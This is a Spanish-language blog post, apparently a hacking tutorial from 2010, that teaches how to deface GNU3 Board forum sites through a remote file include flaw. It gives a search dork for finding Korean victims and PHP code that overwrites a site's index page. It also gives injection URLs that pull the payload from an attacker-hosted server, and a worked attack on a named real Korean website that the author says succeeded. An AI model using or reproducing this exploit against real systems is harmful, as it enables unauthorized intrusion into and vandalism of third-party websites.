diumenge, 26 de setembre del 2010

Deface con GNU3 Board

Es un sistema de foros de distribucion gratuita el cual es usado en Korea

la vulnerabilidad de este sistema consiste en un file include el cual solo

permite incluir archivos .php .html .htm, con lo cual cualquier intento

de hacerlo con un ejecutor de comandos sera en vano


############################################################################

sh-2.05b$ ./ Buscando Victimas

############################################################################


Para buscar las victimas usaremos www.google.co.kr o kr.yahoo.com y en el

caso de google pondremos el siguiente criterio de busqueda:

--------------------------

allinurl: /gnu3/

--------------------------

Y listo nos apareceran varios resultados, comencemos pues


############################################################################

sh-2.05b$ ./ Elaborando Codigo

############################################################################

Bien dado que esta vulnerabilidad aprovecha un file include pero este no

permite incluir archivos con extension diferente a .htm .html o .php

no funcionaria ningun ejecutor de comandos por lo que ahora elaboraremos un

codigo el cual nos servira en casos como este empezemos:

==================================================================
<?
$fp=fopen("./index.html","w+");

fwrite($fp,"<html>
<title>Defaced</title>
<body bgcolor=#000000 text=#FFFFFF>
<p align=center><b>Defaced by Status-x</b></p>
<p align=center><b>Stop the war against Iraq and Palestine.</b></p>
<p align=center><b>-= Mexican Hacker =-</b></p>
<p align=center><b>Phr4xz@gmail.com</b></p>
</body>
</html> \n");
fclose($fp);
?>
==================================================================

Ahora ese codigo les explicare lo que hace:

==============================
$fp=fopen("./index.html","w+")
==============================

Indica una variable que es $fp la cual va a abrir el archivo index.html de
ese directorio

==============================
fwrite($fp,"<html>
==============================

Enseguida esta funcion nos dice que escriba sobre la variable $fp la cual se
refiere al index.html

===================================================================
<title>Defaced</title>
<body bgcolor=#000000 text=#FFFFFF>
<p align=center><b>Defaced by Status-x</b></p>
<p align=center><b>Stop the war against Iraq and Palestine.</b></p>
<p align=center><b>-= Mexican Hacker =-</b></p>
<p align=center><b>Phr4xz@gmail.com</b></p>
</body>
</html> \n");
fclose($fp);
?>
===================================================================

El codigo de nuestro deface y el cierre del codigo php


Como vemos lo unico que hace este codigo es escribir sobre un archivo en este

caso el index.html, el cual tambien puede ser cambiado por index.php

Un ejemplo de como se verian estos codigos esta en:

http://mx.geocities.com/razorkron/indexphp1p.htm

http://mx.geocities.com/razorkron/indexphp2p.htm <----este codigo escribe sobre el index principal

http://mx.geocities.com/razorkron/indexphp.htm


Bien ahora que ya tenemos nuestro codigo elaborado procedemos a hacer el

deface a la web que hayamos elegido.

Un dato importante es que el archivo hay que guardarlo como .html ;)


############################################################################

sh-2.05b$ ./ Analisis del Bug

############################################################################

Bien para identificar el fallo se encuentra el en index.php de cada web

con este sistema, esto lo encontramos de la siguiente manera:

=======================
/gnu3/index.php?doc=

o

/gnu3/?doc=
=======================


Al final de cada url agregaremos nuestra url de la siguiente manera:


=====================================================================

http://webvulnerable.com/gnu3/?doc=http://atacante.com/indexphp1p.htm

=====================================================================


Si la web es vulnerable nos saldra algo mas o menos asi:

======================================================================
http://atacante.com/indexphp1p.htm ÆÄÀÏÀÌ Á¸ÀçÇÏ´ÂÁö È®ÀÎÇÏ¿© ÁֽʽÿÀ
======================================================================

Con lo cual nuestro file include fue exitoso, cabe mencionar que una ves

que se escribe sobre el index.php ya no se puede modificar asi que piensa

bien tu mensaje

Veamos un ejemplo real:


======================================================================

http://kysbook.co.kr/gnu3/?doc=http://mx.geocities.com/razorkron/cmd.txt

======================================================================


Como vemos me da un mensaje como el siguiente:

==================================================
php php3 htm html phtml Äڵ常 ½ÇÇàÇÒ ¼ö ÀÖ½À´Ï´Ù.
==================================================

El cual me indica que solo se admiten las extensiones que ahi aparecen


Ahora bien ya tengo mi codigo listo para hacer mi deface en:


http://mx.geocities.com/razorkron/indexphp1p.htm


Entonces simplemente lo agrego al final de la URL

===============================================================================
http://kysbook.co.kr/gnu3/?doc=http://mx.geocities.com/razorkron/indexphp1p.htm
===============================================================================


Y listo mi deface ha sido hecho en un subdirectorio:

===========================
http://kysbook.co.kr/gnu3/
===========================

Sin embargo les recomiendo probar los 3 codigos que les proporcione antes y con

suerte el deface se vera en el index :), obviamente primero prueben el que

reemplaza el index principal de lo contrario si prueban antes el que reemplaza el

index del directorio ya no podran probar los demas :)



TIP DE DEFACE:

Esta vez un pequeño tip para aquellos novatos o para avanzados francamente pendejos

el codigo visto arriba nos sirve para webs que permitan file include normal y que

tengan permisos de escritura, PERO que algunas veces nos dan mensajes como:


=========================================================

Warning passthru() has been disabled for security reasons

=========================================================

entonces simplemente agregamos nuestra URL con el codigo y listo el deface sera

realizado en donde especifiquemos :)

################################################################

Editado por 3rr0r

Cap comentari:

Publica un comentari a l'entrada